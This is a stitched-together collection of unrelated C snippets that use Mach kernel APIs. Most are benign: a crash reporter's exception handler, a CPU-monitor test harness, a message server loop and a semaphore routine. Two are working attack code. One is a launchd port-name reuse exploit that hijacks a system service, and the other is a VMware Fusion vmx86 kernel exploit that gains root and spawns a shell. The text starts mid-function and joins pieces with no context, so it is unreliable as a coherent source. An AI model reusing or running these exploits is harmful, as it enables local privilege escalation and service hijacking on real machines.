Activating secondary thread."); if(thread_resume(pthread_mach_thread_np(g_secondaryThread)) != KERN_SUCCESS) { KSLOG_DEBUG("Could not activate secondary thread. Restoring original exception ports."); ksmachexc_i_restoreExceptionPorts(); } } else { KSLOG_DEBUG("This is the secondary exception thread. Restoring original exception ports."); ksmachexc_i_restoreExceptionPorts(); } if(g_context->handlingCrash) { KSLOG_INFO("Detected crash in the crash reporter. Restoring original handlers."); // The crash reporter itself crashed. Make a note of this and // uninstall all handlers so that we don't get stuck in a loop. g_context->crashedDuringCrashHandling = true; kscrashsentry_uninstall(KSCrashTypeAsyncSafe); } // Fill out crash information g_context->handlingCrash = true; KSLOG_DEBUG("Fetching machine state."); _STRUCT_MCONTEXT machineContext; if(ksmachexc_i_fetchMachineState(exceptionMessage.thread.name, &machineContext)) { if(exceptionMessage.exception == EXC_BAD_ACCESS) { g_context->faultAddress = ksmach_faultAddress(&machineContext); } else { g_context->faultAddress = ksmach_instructionAddress(&machineContext); } } KSLOG_DEBUG("Filling out context."); g_context->crashType = KSCrashTypeMachException; g_context->offendingThread = exceptionMessage.thread.name; g_context->registersAreValid = true; g_context->mach.type = exceptionMessage.exception; g_context->mach.code = exceptionMessage.code[0]; g_context->mach.subcode = exceptionMessage.code[1]; KSLOG_DEBUG("Calling main crash handler."); g_context->onCrash(); KSLOG_DEBUG("Crash handling complete. Restoring original handlers."); kscrashsentry_uninstall(KSCrashTypeAsyncSafe); kscrashsentry_resumeThreads(); } KSLOG_DEBUG("Replying to mach exception message."); // Send a reply saying "I didn't handle this exception". replyMessage.header = exceptionMessage.header; replyMessage.NDR = exceptionMessage.NDR; replyMessage.returnCode = KERN_FAILURE; mach_msg(&replyMessage.header, MACH_SEND_MSG, sizeof(replyMessage), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); return NULL; }
int main(int argc, char *argv[]) { posix_spawnattr_t attrs; uint64_t percent, interval; int i, err, ret = 0; kern_return_t kr; mach_port_t task = mach_task_self(); mach_port_t child_task; char **child_args; pthread_t exception_thread; pthread_t timer_thread; pthread_t wait_thread; mach_msg_type_number_t maskCount = 1; exception_mask_t mask; exception_handler_t handler; exception_behavior_t behavior; thread_state_flavor_t flavor; pid_t child_pid; int test_case_id = -1; if (argc > 1) test_case_id = atoi(argv[1]); /* Initialize mutex and condition variable */ if ((err = pthread_mutex_init(&lock, NULL)) != 0) { fprintf(stderr,"pthread_mutex_init: %s\n", strerror(err)); exit(1); } if ((err = pthread_cond_init(&cv, NULL)) != 0) { fprintf(stderr, "pthread_cond_init: %s\n", strerror(err)); exit(1); } /* Allocate and initialize new exception port */ if ((kr = mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, &exc_port)) != KERN_SUCCESS) { fprintf(stderr, "mach_port_allocate: %s\n", mach_error_string(kr)); exit(1); } if ((kr = mach_port_insert_right(task, exc_port, exc_port, MACH_MSG_TYPE_MAKE_SEND)) != KERN_SUCCESS) { fprintf(stderr, "mach_port_allocate: %s\n", mach_error_string(kr)); exit(1); } /* Get Current exception ports */ if ((kr = task_get_exception_ports(task, EXC_MASK_RESOURCE, &mask, &maskCount, &handler, &behavior, &flavor)) != KERN_SUCCESS) { fprintf(stderr,"task_get_exception_ports: %s\n", mach_error_string(kr)); exit(1); } /* Create exception serving thread */ if ((err = pthread_create(&exception_thread, NULL, server_thread, 0)) != 0) { fprintf(stderr, "pthread_create server_thread: %s\n", strerror(err)); exit(1); } fprintf(stderr, "---------------System Configuration------------------------------------------\n"); fprintf(stderr, "System Kernel Version: "); system("uname -a"); fprintf(stderr, "System SDK Version: "); system("sw_vers"); for (i = 0; i < NUMTESTS; i++) { indiv_results[i] = -1; } /* Run Tests */ for(i=0; i<NUMTESTS; i++) { int j; if (test_case_id != -1 && test_case_id != i) continue; fprintf(stderr, "---------------Test [%d] Configuration------------------------------------------\n", i); fprintf(stderr, "Test Case ID: %d\n", i); fprintf(stderr, "Description: %s\n", test_description[i]); switch(i) { case 0: child_args = test_argv_0; break; case 1: child_args = test_argv_1; break; case 2: child_args = test_argv_2; break; case 3: child_args = test_argv_3; break; case 4: child_args = test_argv_4; break; case 5: child_args = test_argv_5; break; case 6: child_args = test_argv_6; break; default: fprintf(stderr, "no test argv found\n"); exit(1); } /* Test cases which do not need to run for certain platforms */ if (child_args == NULL) { fprintf(stderr, "Test case unimplemented for current platform.\n"); fprintf(stderr, "[PASSED]\n"); fprintf(stderr, "-------------------------------------------------------------------------------\n"); continue; } fprintf(stderr, "Helper args: "); for (j = 0; child_args[j] != NULL; j++) { fprintf(stderr, "%s ", child_args[j]); } fprintf(stderr, "\n"); /* Print Test Case Configuration */ fprintf(stderr, "Test Case expects EXC_RESOURCE?: %s\n", test_exception_code[i] ? "Yes":"No"); if (test_exception_code[i]) fprintf(stderr, "Expected EXC_RESOURCE code: 0x%llx\n", test_exception_code[i]); if (timeout_secs[i]) fprintf(stderr, "Timeout for Test Program: %d secs\n", timeout_secs[i]); if (exc_expected_at[i]) fprintf(stderr, "Exception Expected After: %d secs\n", exc_expected_at[i]); /* Initialize posix_spawn attributes */ posix_spawnattr_init(&attrs); if ((err = posix_spawnattr_setflags(&attrs, POSIX_SPAWN_SETEXEC)) != 0) { fprintf(stderr, "posix_spawnattr_setflags: %s\n", strerror(err)); exit(1); } /* Use high values so the system defaults take effect (spawn attrs are capped) */ percent = 100; interval = 10000; /* Enable CPU Monitor */ if ((err = posix_spawnattr_setcpumonitor(&attrs, percent, interval)) != 0) { fprintf(stderr, "posix_spawnattr_setcpumonitor: %s\n", strerror(err)); exit(1); } exception_code = 0; time_for_exc = -1; /* Set Exception Ports for Current Task */ if ((kr = task_set_exception_ports(task, EXC_MASK_RESOURCE, exc_port, EXCEPTION_DEFAULT | MACH_EXCEPTION_CODES, flavor)) != KERN_SUCCESS) { fprintf(stderr, "task_set_exception_ports: %#x\n", kr); exit(1); } /* * Note the time at start of test. */ start_time = time(NULL); fprintf(stderr, "---------------Test [%d] Runtime------------------------------------------------\n", i); /* Fork and exec child */ if ((child_pid = fork()) == 0) { if ((err = posix_spawn(NULL, child_args[0], NULL, &attrs, &child_args[0], environ)) != 0) { fprintf(stderr, "posix_spawn: %s\n", strerror(err)); exit(1); } } /* Restore exception ports for parent */ if ((kr = task_set_exception_ports(task, EXC_MASK_RESOURCE, handler, EXCEPTION_DEFAULT | MACH_EXCEPTION_CODES, flavor)) != KERN_SUCCESS) { fprintf(stderr, "task_set_exception_ports: %#x\n", kr); exit(1); } /* Create Timer Thread if timeout specified */ if (timeout_secs[i]) { if ((err = pthread_create(&timer_thread, NULL, timeout_thread, (void *)timeout_secs[i])) != 0) { fprintf(stderr, "pthread_create timeout_thread: %s\n", strerror(err)); test_status = 1; goto cleanup; } } /* Create waiting for child thread */ if ((err = pthread_create(&wait_thread, NULL, wait4_child_thread, NULL)) != 0) { fprintf(stderr, "pthread_create wait4_child_thread: %s\n", strerror(err)); test_status = 1; goto cleanup; } pthread_mutex_lock(&lock); pthread_cond_wait(&cv, &lock); pthread_mutex_unlock(&lock); kill(child_pid, SIGKILL); pthread_join(timer_thread, NULL); pthread_join(wait_thread, NULL); int test_case_status = 0; indiv_results[i] = 0; fprintf(stderr, "---------------Test [%d] Results------------------------------------------------\n", i); if (exception_code) fprintf(stderr, "EXC_RESOURCE Received with Code: 0x%llx\n", exception_code); else fprintf(stderr, "No EXC_RESOURCE Received!\n"); if (time_for_exc > 0) fprintf(stderr, "EXC_RESOURCE Received after %d secs\n", time_for_exc); if (!!exception_code != !!test_exception_code[i]) { test_status = 1; test_case_status = 1; indiv_results[i] = 1; } if (exception_code) { /* Validate test success by checking code and expected time */ if ((exception_code & test_exception_code[i]) != test_exception_code[i]) { fprintf(stderr, "Test Failure Reason: EXC_RESOURCE code did not match expected exception code!\n"); fprintf(stderr, "Expected: 0x%llx Found: 0x%llx\n", test_exception_code[i], exception_code); test_status = 1; test_case_status = 1; indiv_results[i] = 1; } if(exc_expected_at[i] && (time_for_exc < (exc_expected_at[i] - 10) || time_for_exc > (exc_expected_at[i] + 10))) { fprintf(stderr, "Test Failure Reason: Test case did not receive EXC_RESOURCE within expected time!\n"); test_status = 1; test_case_status = 1; indiv_results[i] = 1; } } if(test_case_status) fprintf(stderr, "[FAILED]\n"); else fprintf(stderr, "[PASSED]\n"); fprintf(stderr, "-------------------------------------------------------------------------------\n"); } if (test_case_id == -1) { fprintf(stderr, "--------------- Results Summary -----------------------------------------------\n"); for (i = 0; i < NUMTESTS; i++) { fprintf(stderr, "%2d: %s\n", i, (indiv_results[i] < 0) ? "N/A" : (indiv_results[i] == 0) ? "PASSED" : "FAILED"); } } cleanup: kill(child_pid, SIGKILL); exit(test_status); }
bool kscrashsentry_installMachHandler(KSCrash_SentryContext* const context) { KSLOG_DEBUG("Installing mach exception handler."); bool attributes_created = false; pthread_attr_t attr; kern_return_t kr; int error; const task_t thisTask = mach_task_self(); exception_mask_t mask = EXC_MASK_BAD_ACCESS | EXC_MASK_BAD_INSTRUCTION | EXC_MASK_ARITHMETIC | EXC_MASK_SOFTWARE | EXC_MASK_BREAKPOINT; if(g_installed) { KSLOG_DEBUG("Exception handler already installed."); return true; } g_installed = 1; if(ksmach_isBeingTraced()) { // Different debuggers hook into different exception types. // For example, GDB uses EXC_BAD_ACCESS for single stepping, // and LLDB uses EXC_SOFTWARE to stop a debug session. // Because of this, it's safer to not hook into the mach exception // system at all while being debugged. KSLOG_WARN("Process is being debugged. Not installing handler."); goto failed; } g_context = context; KSLOG_DEBUG("Backing up original exception ports."); kr = task_get_exception_ports(thisTask, mask, g_previousExceptionPorts.masks, &g_previousExceptionPorts.count, g_previousExceptionPorts.ports, g_previousExceptionPorts.behaviors, g_previousExceptionPorts.flavors); if(kr != KERN_SUCCESS) { KSLOG_ERROR("task_get_exception_ports: %s", mach_error_string(kr)); goto failed; } if(g_exceptionPort == MACH_PORT_NULL) { KSLOG_DEBUG("Allocating new port with receive rights."); kr = mach_port_allocate(thisTask, MACH_PORT_RIGHT_RECEIVE, &g_exceptionPort); if(kr != KERN_SUCCESS) { KSLOG_ERROR("mach_port_allocate: %s", mach_error_string(kr)); goto failed; } KSLOG_DEBUG("Adding send rights to port."); kr = mach_port_insert_right(thisTask, g_exceptionPort, g_exceptionPort, MACH_MSG_TYPE_MAKE_SEND); if(kr != KERN_SUCCESS) { KSLOG_ERROR("mach_port_insert_right: %s", mach_error_string(kr)); goto failed; } } KSLOG_DEBUG("Installing port as exception handler."); kr = task_set_exception_ports(thisTask, mask, g_exceptionPort, EXCEPTION_DEFAULT, THREAD_STATE_NONE); if(kr != KERN_SUCCESS) { KSLOG_ERROR("task_set_exception_ports: %s", mach_error_string(kr)); goto failed; } KSLOG_DEBUG("Creating secondary exception thread (suspended)."); pthread_attr_init(&attr); attributes_created = true; pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED); error = pthread_create(&g_secondaryThread, &attr, &ksmachexc_i_handleExceptions, kThreadSecondary); if(error != 0) { KSLOG_ERROR("pthread_create_suspended_np: %s", strerror(error)); goto failed; } context->reservedThreads[KSCrashReservedThreadTypeMachSecondary] = pthread_mach_thread_np(g_secondaryThread); KSLOG_DEBUG("Creating primary exception thread."); error = pthread_create(&g_primaryThread, &attr, &ksmachexc_i_handleExceptions, kThreadPrimary); if(error != 0) { KSLOG_ERROR("pthread_create: %s", strerror(error)); goto failed; } pthread_attr_destroy(&attr); context->reservedThreads[KSCrashReservedThreadTypeMachPrimary] = pthread_mach_thread_np(g_primaryThread); KSLOG_DEBUG("Mach exception handler installed."); return true; failed: KSLOG_DEBUG("Failed to install mach exception handler."); if(attributes_created) { pthread_attr_destroy(&attr); } kscrashsentry_uninstallMachHandler(); return false; }
static void run_server(mach_port_t portset, mach_port_t notification_port) { struct DummyMsg_t DumMsg, DumMsgReply; int isFinished = 0; while (! isFinished) { bzero(&DumMsg, sizeof DumMsg); bzero(&DumMsgReply, sizeof DumMsgReply); DumMsg.head.msgh_size = sizeof DumMsg; DumMsg.head.msgh_local_port = portset; mach_msg_return_t msgcode = mach_msg(&DumMsg.head, MACH_RCV_MSG, 0, sizeof DumMsg, portset, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); if (msgcode != MACH_MSG_SUCCESS) { if (ERR_FILE) fprintf(ERR_FILE, "error %s in Receive, message will be ignored.\n", mach_error_string((kern_return_t)msgcode)); } else { /* Try handling it from the server */ boolean_t handled = handle_server_message(&DumMsg, &DumMsgReply); if (! handled) { /* Could be a No Senders notification */ if (DumMsg.head.msgh_id == MACH_NOTIFY_NO_SENDERS) { /* Our parent process died, or closed our port, so we should go away */ if (ERR_FILE) fprintf(ERR_FILE, "Parent appears to have closed its port, so we're exiting.\n"); isFinished = 1; } else { if (ERR_FILE) fprintf(ERR_FILE, "Unknown Mach message id %ld\n", (long)DumMsg.head.msgh_id); } } } if (ERR_FILE) fflush(ERR_FILE); } }
// Server side : destroy the JackGlobals void JackMachSemaphore::Destroy() { kern_return_t res; if (fSemaphore > 0) { jack_log("JackMachSemaphore::Destroy name = %s", fName); if ((res = semaphore_destroy(mach_task_self(), fSemaphore)) != KERN_SUCCESS) { jack_error("JackMachSemaphore::Destroy can't destroy semaphore err = %s", mach_error_string(res)); } fSemaphore = 0; } else { jack_error("JackMachSemaphore::Destroy semaphore < 0"); } }
void launchd_exploit(char* app_group) { char* target_service_name = default_target_service_name; // allocate the receive rights which we will try to replace the service with: // (we'll also use them to loop the mach port name in the target) size_t n_ports = 0x1000; mach_port_t* ports = calloc(sizeof(void*), n_ports); for (int i = 0; i < n_ports; i++) { kern_return_t err; err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ports[i]); if (err != KERN_SUCCESS) { printf("failed to allocate port: %s\n", mach_error_string(err)); exit(EXIT_FAILURE); } err = mach_port_insert_right(mach_task_self(), ports[i], ports[i], MACH_MSG_TYPE_MAKE_SEND); if (err != KERN_SUCCESS) { printf("failed to insert send right: %s\n", mach_error_string(err)); exit(EXIT_FAILURE); } } // generate some service names we can use: char** names = calloc(sizeof(char*), n_ports); for (int i = 0; i < n_ports; i++) { char name[strlen(app_group)+64]; sprintf(name, "%s.%d", app_group, i); names[i] = strdup(name); } // lookup a send right to the target to be replaced mach_port_t target_service = lookup(target_service_name); // free the target in launchd do_free(bootstrap_port, target_service); // send one smaller looper message to push the free'd name down the free list: send_looper(bootstrap_port, ports, 0x100, MACH_MSG_TYPE_MAKE_SEND); // send the larger ones to loop the generation number whilst leaving the name in the middle of the long freelist for (int i = 0; i < 62; i++) { send_looper(bootstrap_port, ports, 0x200, MACH_MSG_TYPE_MAKE_SEND); } // now that the name should have looped round (and still be near the middle of the freelist // try to replace it by registering a lot of new services for (int i = 0; i < n_ports; i++) { kern_return_t err = bootstrap_register(bootstrap_port, names[i], ports[i]); if (err != KERN_SUCCESS) { printf("failed to register service %d, continuing anyway...\n", i); } } // add all those receive rights to a port set: mach_port_t ps; mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_PORT_SET, &ps); for (int i = 0; i < n_ports; i++) { mach_port_move_member(mach_task_self(), ports[i], ps); } start_mitm_thread(target_service, ps); kill_powerd(); return; }
int main (int argc, char **argv) { kmod_info_t *kmod_list, *k; mach_port_t host_port; kern_return_t mach_r; struct ioctl_req req; unsigned int count; int shell_addr; int fd, id, i, r; printf ("VMware Fusion <= 2.0.5 vmx86 kext local kernel root exploit\n" "by: <*****@*****.**>\n" "http://www.digit-labs.org/ -- Digit-Labs 2009!@$!\n\n"); host_port = mach_host_self (); mach_r = kmod_get_info (host_port, (void *) &kmod_list, &count); if (mach_r != KERN_SUCCESS) { fprintf (stderr, "* couldn't get list of loaded kexts from kernel - %s\n", mach_error_string (mach_r)); exit (EXIT_FAILURE); } for (k = kmod_list; k; k = (k->next) ? (k + 1) : NULL) if (strcmp (k->name, "com.vmware.kext.vmx86") == 0) break; if (k == NULL) { fprintf (stderr, "%s: vmx86 kext not loaded?\n", argv[0]); exit (EXIT_FAILURE); } for (i = 0; targets_t[i].name; i++) if (strcmp (targets_t[i].name, k->version) == 0) { shell_addr = targets_t[i].shell_addr; break; } if (targets_t[i].name == NULL) { fprintf (stderr, "%s: unsupported vmx86 version found :( [%s]\n", argv[0], k->version); exit (EXIT_FAILURE); } printf ("* kmod: %s, version: %s, addr: 0x%08X -> 0x%08X\n", strrchr (k->name, '.') + 1, k->version, (int) k->address, (int) (k->address + k->size)); printf ("* ret addr: 0x%08X + 0x%08X = @0x%08X\n", (int) k->address, shell_addr + 0x1000, (int) k->address + shell_addr + 0x1000); fd = open ("/dev/vmmon", O_RDONLY); if (fd < 0) { fprintf (stderr, "%s: open failed\n", argv[0]); exit (EXIT_FAILURE); } memset (&req, 0xCC, sizeof req); memcpy (&req.pad, zleopard, sizeof zleopard - 1); *(unsigned int *) &req.pad[0x21] = k->address + shell_addr + 0x1000; printf ("* hitting..."); fflush (stdout); sleep (2); r = ioctl (fd, VMX86_INIT_IOCTL, &req); printf ("done\n\n"); close (fd); id = getuid (); printf ("* getuid(): %d\n", id); if (id == 0) { char *args[] = { "/bin/bash", NULL }; printf ("+Wh00t\n\n"); execve (args[0], args, NULL); } else fprintf (stderr, "%s: failed to obtain root :(\n", argv[0]); return (EXIT_SUCCESS); }